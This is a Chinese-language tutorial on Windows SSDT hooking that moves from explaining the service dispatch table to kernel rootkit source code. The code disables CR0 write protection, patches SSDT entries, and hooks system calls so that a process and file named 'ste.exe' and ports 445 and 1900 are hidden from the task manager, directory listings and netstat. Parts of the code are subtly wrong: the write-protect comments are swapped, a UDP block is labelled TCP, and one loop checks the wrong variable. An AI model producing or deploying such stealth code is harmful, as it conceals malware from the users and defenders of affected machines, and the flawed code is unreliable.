SSDT Hook技術詳解與應用
一、SSDT簡介
1、什麼是SSDT
SSDT 的全稱是 System Services Descriptor Table,系統服務描述符表。這個表就是一個把 Ring3 的 Win32 API 和 Ring0 的內核 API 聯繫起來。SSDT 並不僅僅只包含一個龐大的地址索引表,它還包含着一些其它有用的信息,諸如地址索引的基地址、服務函數個數等。通過修改此表的函數地址可以對常用 Windows 函數及 API 進行 Hook,從而實現對一些關心的系統動作進行過濾、監控的目的。一些 HIPS、防毒軟件、系統監控、註冊表監控軟件往往會採用此接口來實現自己的監控模塊。
在 NT 4.0 以上的 Windows 操作系統中,默認就存在兩個系統服務描述表,這兩個調度表對應了兩類不同的系統服務,這兩個調度表爲:KeServiceDescriptorTable 和 KeServiceDescriptorTableShadow,其中 KeServiceDescriptorTable 主要是處理來自 Ring3 層得 Kernel32.dll 中的系統調用,而 KeServiceDescriptorTableShadow 則主要處理來自 User32.dll 和 GDI32.dll 中的系統調用,並且 KeServiceDescriptorTable 在 ntoskrnl.exe(Windows 操作系統內核文件,包括內核和執行體層)是導出的,而 KeServiceDescriptorTableShadow 則是沒有被 Windows 操作系統所導出,而關於 SSDT 的全部內容則都是通過 KeServiceDescriptorTable 來完成的。
2、SSDT結構
下圖是IDA分析的ntoskrnl.exe中導出的KeServiceDescriptorTable 結構。
下面是KeServiceDescriptorTable 的具體含義。
~~~c++
typedef struct _KSYSTEM_SERVICE_TABLE{
PULONG ServiceTableBase; // SSDT (System Service Dispatch Table)的基地址
PULONG ServiceCounterTableBase; // 用於 checked builds, 包含 SSDT 中每個服務被調用的次數
ULONG NumberOfService; // 服務函數的個數, NumberOfService * 4 就是整個地址表的大小
ULONG ParamTableBase; // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;
有了上面的介紹後,我們可以簡單的將 KeServiceDescriptor 看做是一個數組了(其實質也就是個數組),**在應用層 ntdll.dll 中的 API 在這個系統服務描述表(SSDT)中都存在一個與之相對應的服務,當我們的應用程序調用 ntdll.dll 中的 API 時,最終會調用內核中與之相對應的系統服務,由於有了 SSDT,所以我們只需要告訴內核需要調用的服務所在 SSDT 中的索引就 OK 了,然後內核根據這個索引值就可以在 SSDT 中找到相對應的服務了,然後再由內核調用服務完成應用程序 API 的調用請求即可。基本結構可以參考下圖:
3、應用層調用 Win32 API 的完整執行流程
有了上面的 SSDT 基礎後,我們再來看一下在應用層調用 Win32 API(這裏主要指的是 ntdll.dll 中的 API)的完整流程,這裏我們主要是分析 ntdll.dll 中的 NtQuerySystemInformation 這個 API 的調用流程。
(PS:Windows 任務管理器即是通過這個 API 來獲取到系統的進程等等信息的)。
再給出這些個 API 的基本的調用流程
實質上,在 Windows 操作系統中,Ntdll.dll 中的ZwQuerySystemInformation 和 NtQuerySystemInformation 是同一函數,可以通過下面的截圖看出,這兩個函數的入口地址指向同一區域,他們的函數入口地址都是一樣的 。
衆所周知 Ntdll.dll 中的 API 都只不過是一個簡單的包裝函數而已,當 Kernel32.dll 中的 API 通過 Ntdll.dll 時,會完成參數的檢查,再調用一箇中斷(int 2Eh 或者 SysEnter 指令),從而實現從 Ring3 進入 Ring0 層,並且將所要調用的服務號(也就是在 SSDT 數組中的索引值)存放到寄存器 EAX 中,並且將參數地址放到指定的寄存器(EDX)中,再將參數複製到內核地址空間中,再根據存放在 EAX 中的索引值來在 SSDT 數組中調用指定的服務 。
下面來看 ntoskrnl.exe 中的 ZwQuerySystemInformation:
在上面的這幅截圖中,可以看到在 Ring0 下的 ZwQuerySystemInformation 將 0ADh 放入了寄存器 eax 中,然後調用了系統服務分發函數 KiSystemService,而這個 KiSystemService 函數則是根據 eax 寄存器中的索引值,然後再 SSDT 數組中找到索引值爲 eax 寄存器中存放的值得那個 SSDT 項,最後就是根據這個 SSDT 項中所存放的系統服務的地址來調用這個系統服務。比如在這裏就是調用 KeServiceDescriptorTable[0ADh] 處所保存的地址所對應的系統服務 。也就是調用 Ring0 下的 NtQuerySystemInformation 了 。至此,在應用層中調用 NtQuerySystemInformation 的全部流程也就結束了 。
二、SSDT Hook原理
1、SSDT Hook原理簡介
有了上面的這部分基礎後,就可以來看 SSDT HOOK 的原理了,其實 SSDT Hook 的原理是很簡單的,從上面的分析中,我們可以知道在 SSDT 這個數組中,保存了系統服務的地址,比如對於 Ring0 下的 NtQuerySystemInformation 這個系統服務的地址,就保存在 KeServiceDescriptorTable[0ADh] 中,既然是 Hook 的話,我們就可以將這個 KeServiceDescriptorTable[0ADh] 下保存的服務地址替換掉,將我們自己的 Hook 處理函數的地址來替換掉原來的地址,這樣當每次調用 KeServiceDescriptorTable[0ADh]時就會調用我們自己的這個 Hook 處理函數了。
下面截圖是SSDT Hook之前:
下面的截圖則是 SSDT Hook 之後,可以看到將 SSDT 中的服務地址修改爲 MyHookNtQuerySystemInformation 了,這樣的話,每次系統調用 NtQuerySystemInformation 這個系統服務時,實質上調用的就是MyHookNtQuerySystemInformation 了,而我們爲了保證系統的穩定性(至少不讓其崩潰),一般會在 MyHookNtQuerySystemInformation 中調用系統中原來的服務,也就是 NtQuerySystemInformation。
下面來看一下備份、修改、還原SSDT的具體代碼:
//=====================================================================================//
//Name:KSYSTEM_SERVICE_TABLE | KSERVICE_TABLE_DESCRIPTOR 定義 //
// //
//Descripion: 定義SSDT表結構與獲取函數索引值和地址的基本方法 //
// //
//=====================================================================================//
typedef struct _KSYSTEM_SERVICE_TABLE
{
PULONG ServiceTableBase; // SSDT (System Service Dispatch Table)的基地址
PULONG ServiceCounterTableBase; // 包含 SSDT 中每個服務被調用的次數
ULONG NumberOfService; // 服務函數的個數, NumberOfService * 4 就是整個地址表的大小
ULONG ParamTableBase; // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;
typedef struct _KSERVICE_TABLE_DESCRIPTOR
{
KSYSTEM_SERVICE_TABLE ntoskrnl; // ntoskrnl.exe 的服務函數
KSYSTEM_SERVICE_TABLE win32k; // win32k.sys 的服務函數(GDI32.dll/User32.dll 的內核支持)
KSYSTEM_SERVICE_TABLE notUsed1;
KSYSTEM_SERVICE_TABLE notUsed2;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;
extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;
#define SYSCALL_FUNCTION(ServiceFunction) KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[SYSCALL_INDEX(ServiceFunction)]
#define SYSCALL_INDEX(ServiceFunction) (*(PULONG)((PUCHAR)ServiceFunction + 1))
#define MAX_SYSTEM_SERVICE_NUMBER 0x128
//用來保存 SSDT 中所有的舊的服務函數的地址
ULONG oldSysServiceAddr[MAX_SYSTEM_SERVICE_NUMBER];
//=====================================================================================//
//Name: VOID DisableWriteProtect() //
// //
//Descripion: 用來去掉內存的可寫屬性,從而實現內存只讀 //
// //
//=====================================================================================//
VOID DisableWriteProtect(ULONG oldAttr)
{
_asm
{
push eax
mov eax, oldAttr
mov cr0, eax
pop eax
sti;
}
}
//=====================================================================================//
//Name: VOID EnableWriteProtect() //
// //
//Descripion: 用來去掉內存的只讀保護,從而實現可以寫內存 //
// //
//=====================================================================================//
VOID EnableWriteProtect(PULONG pOldAttr)
{
ULONG uAttr;
_asm
{
cli;
push eax
mov eax, cr0;
mov uAttr, eax;
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
mov cr0, eax;
pop eax
};
//保存原有的 CRO 屬性
*pOldAttr = uAttr;
}
//=====================================================================================//
//Name: VOID BackupSysServicesTable() //
// //
//Descripion: 備份 SSDT 中原有服務的地址,因爲在解除 Hook 時需要還原 SSDT 中原有地址 //
// //
//=====================================================================================//
VOID BackupSysServicesTable()
{
ULONG i;
for(i = 0; (i < KeServiceDescriptorTable->ntoskrnl.NumberOfService) && (i < MAX_SYSTEM_SERVICE_NUMBER); i++)
{
oldSysServiceAddr[i] = KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[i];
}
}
//=====================================================================================//
//Name: NTSTATUS InstallSysServiceHook() //
// //
//Descripion: 實現 Hook 的安裝,主要是在 SSDT 中將服務地址替換爲新服務地址 //
// //
//=====================================================================================//
NTSTATUS InstallSysServiceHook(ULONG oldService, ULONG newService)
{
ULONG uOldAttr = 0;
EnableWriteProtect(&uOldAttr);
SYSCALL_FUNCTION(oldService) = newService;
DisableWriteProtect(uOldAttr);
return STATUS_SUCCESS;
}
//=====================================================================================//
//Name: NTSTATUS UnInstallSysServiceHook() //
// //
//Descripion: 實現 Hook 的解除,主要是在 SSDT 中用備份下的服務地址來替換掉 oldService //
// //
//=====================================================================================//
NTSTATUS UnInstallSysServiceHook(ULONG oldService)
{
ULONG uOldAttr = 0;
EnableWriteProtect(&uOldAttr);
SYSCALL_FUNCTION(oldService) = oldSysServiceAddr[SYSCALL_INDEX(oldService)];
DisableWriteProtect(uOldAttr);
return STATUS_SUCCESS;
}
2、進程隱藏與保護
NTSTATUS HookNtQuerySystemInformation (
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rtStatus=STATUS_SUCCESS;
NTQUERYSYSTEMINFORMATION pOldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)oldSysServiceAddr[SYSCALL_INDEX(ZwQuerySystemInformation)];
rtStatus = pOldNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if(NT_SUCCESS(rtStatus))
{
if(SystemProcessInformation==SystemInformationClass)
{
PSYSTEM_PROCESS_INFORMATION pPrevProcessInfo = NULL;
PSYSTEM_PROCESS_INFORMATION pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
UNICODE_STRING hideProcessName;
RtlInitUnicodeString(&hideProcessName,L"ste.exe");
while(pCurrProcessInfo != NULL)
{
//獲取當前遍歷的 SYSTEM_PROCESS_INFORMATION 節點的進程名稱和進程 ID
ULONG uPID = (ULONG)pCurrProcessInfo->ProcessId;
UNICODE_STRING strTmpProcessName;
//RtlInitUnicodeString(&strTmpProcessName,L"");
strTmpProcessName = pCurrProcessInfo->ImageName;
//判斷當前遍歷的這個進程是否爲需要隱藏的進程
if(unicodeStrCmp(hideProcessName,strTmpProcessName,strTmpProcessName.Length))
{
if(pPrevProcessInfo)
{
if(pCurrProcessInfo->NextEntryOffset)
{
//將當前這個進程(即要隱藏的進程)從 SystemInformation 中摘除(更改鏈表偏移指針實現)
pPrevProcessInfo->NextEntryOffset += pCurrProcessInfo->NextEntryOffset;
}
else
{
//說明當前要隱藏的這個進程是進程鏈表中的最後一個
pPrevProcessInfo->NextEntryOffset = 0;
}
}
else
{
//第一個遍歷到得進程就是需要隱藏的進程
if(pCurrProcessInfo->NextEntryOffset)
(PCHAR)SystemInformation += pCurrProcessInfo->NextEntryOffset;
else
SystemInformation = NULL;
}
}
//遍歷下一個 SYSTEM_PROCESS_INFORMATION 節點
pPrevProcessInfo = pCurrProcessInfo;
//遍歷結束
if(pCurrProcessInfo->NextEntryOffset)
pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)(((PCHAR)pCurrProcessInfo) + pCurrProcessInfo->NextEntryOffset);
else
pCurrProcessInfo=NULL;
}
}
}
return rtStatus;
}
3、文件隱藏與保護
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent,
IN PIO_APC_ROUTINE IoApcRoutine,
IN PVOID IoApcContext,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN ReturnOnlyOneEntry,
IN PUNICODE_STRING FileName,
IN BOOLEAN RestartQuery)
{
NTSTATUS ntStatus;
LPFILE_NAMES_INFORMATION fileCurr;
LPFILE_NAMES_INFORMATION filePrev;
PFILE_BOTH_DIR_INFORMATION pFileInfo;
PFILE_BOTH_DIR_INFORMATION pPrevFileInfo;
BOOLEAN lastOne;
ULONG left;
ULONG pos;
WCHAR * hideFileName=L"ste.exe";
ZWQUERYDIRECTORYFILE pOldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwQueryDirectoryFile)];
ntStatus=((ZWQUERYDIRECTORYFILE)(pOldZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
ReturnOnlyOneEntry,
FileName,
RestartQuery);
if(!bHideFile)
return ntStatus;
//RtlInitUnicodeString(&hideFileName,L"ste.exe");
if(NT_SUCCESS(ntStatus)&& FileInfoClass==FileBothDirectoryInformation)
{
pFileInfo=(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
pPrevFileInfo=NULL;
do {
lastOne=!(pFileInfo->NextEntryOffset);
//RtlInitUnicodeString(&fileNameWide,pFileInfo->FileName);
if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength))
{
if(lastOne)
{
if(pFileInfo==(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)
ntStatus=0x80000006;
else
pPrevFileInfo->NextEntryOffset=0;
}
else
{
pos=((ULONG)pFileInfo)-((ULONG)FileInformationBuffer);
left=(ULONG)FileInformationBufferLength-pos-pFileInfo->NextEntryOffset;
RtlCopyMemory((PVOID)pFileInfo,(PVOID)((char *)pFileInfo+pFileInfo->NextEntryOffset),(ULONG)left);
continue;
}
}
pPrevFileInfo=pFileInfo;
pFileInfo=(PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo+pFileInfo->NextEntryOffset);
//fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);
} while(!lastOne);
}
if (NT_SUCCESS(ntStatus) && FileInfoClass==FileNamesInformation)
{
fileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;
do
{
lastOne=!(fileCurr->NextEntryOffset); //取偏移
//fileNameLength=fileCurr->FileNameLength; //取長度
//RtlInitUnicodeString(&fileNameWide,fileCurr->FileName);
if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength))
{
if(lastOne)
{
if (fileCurr==(LPFILE_NAMES_INFORMATION)FileInformationBuffer)
ntStatus=0x80000006; //隱藏
else
filePrev->NextEntryOffset=0;
}
else
{
//移動文件偏移
pos=((ULONG)fileCurr)-((ULONG)FileInformationBuffer);
left=(ULONG)FileInformationBufferLength-pos-fileCurr->NextEntryOffset;
RtlCopyMemory((PVOID)fileCurr,(PVOID)((char *)fileCurr+fileCurr->NextEntryOffset),(ULONG)left);
continue;
}
}
filePrev=fileCurr;
fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);
}
while(!lastOne);
}
return ntStatus;
}
4、端口隱藏
NTSTATUS HookZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength)
{
NTSTATUS rtStatus=STATUS_SUCCESS;
TCPAddrEntry* TcpTable;
TCPAddrExEntry* TcpExTable;
UDPAddrEntry* UdpTable;
UDPAddrExEntry* UdpExTable;
ULONG numconn;
ULONG i;
ULONG RetLen;
UCHAR buff[512];
POBJECT_NAME_INFORMATION ObjectName=(PVOID)&buff;
ANSI_STRING ObjectNameAnsi;
PUCHAR InBuff;
ZWDEVICEIOCONTROLFILE pOldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwDeviceIoControlFile)];
rtStatus = ((ZWDEVICEIOCONTROLFILE)(pOldZwDeviceIoControlFile)) (
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if(NT_SUCCESS(rtStatus) && IoControlCode==0x120003)//netstat use this IoControlCode
{
if(NT_SUCCESS(ZwQueryObject(FileHandle,ObjectNameInformation,ObjectName,512,&RetLen)))
{
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,strlen(TCP_PORT_DEVICE))==0)
{
if (((InBuff=(PUCHAR)InputBuffer)==NULL) || (InputBufferLength<17))//InputBuffer is wrong
return rtStatus;
//對於TCP查詢,輸入緩衝的特徵是 InputBuffer[0]爲0x00,如果OutputBuffer中已經有了端口數據,則InputBuffer[17]爲0x01,
//如果是擴展結 構,則InputBuffer[16]爲0x02。對於UDP查詢,InputBuffer[0]就爲0x01了,InputBuffer[16]和 InputBuffer[17]的值和TCP查詢是一樣的。
//-------------------------------------------------------TCP----------------------------------------------------------------------------
if ((InBuff[0]==0x00) && (InBuff[17]==0x01)) //TCP端口
{
if (InBuff[16]!=0x02) //非擴展結構
{
numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
TcpTable = (TCPAddrEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(TcpTable[i].tae_ConnLocalPort) == 445 )
{
//DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(TcpTable[i].tae_ConnLocalPort));
memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
}
if(InBuff[16]==0x02)//擴展結構
{
numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
TcpExTable = (TCPAddrExEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 445 )
if(TcpExTable[i].pid==0)
{
//DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(TcpExTable[i].tae_ConnLocalPort));
memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
}
}
//-----------------------------------------------------------UDP---------------------------------------------------------------
if ((InBuff[0]==0x01) && (InBuff[17]==0x01)) //TCP端口
{
if (InBuff[16]!=0x02) //非擴展結構
{
numconn = IoStatusBlock->Information/sizeof(UDPAddrEntry);
UdpTable = (UDPAddrEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(UdpTable[i].tae_ConnLocalPort) == 1900 )
{
//DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(UdpTable[i].tae_ConnLocalPort));
memcpy( (UdpTable+i), (UdpTable+i+1), ((numconn-i-1)*sizeof(UDPAddrEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(UDPAddrEntry);
}
if(InBuff[16]==0x02)//擴展結構
{
numconn = IoStatusBlock->Information/sizeof(UDPAddrExEntry);
UdpExTable = (UDPAddrExEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(UdpExTable[i].tae_ConnLocalPort) == 1900 )
{
//DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(UdpExTable[i].tae_ConnLocalPort));
memcpy( (UdpExTable+i), (UdpExTable+i+1), ((numconn-i-1)*sizeof(UDPAddrExEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(UDPAddrExEntry);
}
}
}
}
}
return rtStatus;
}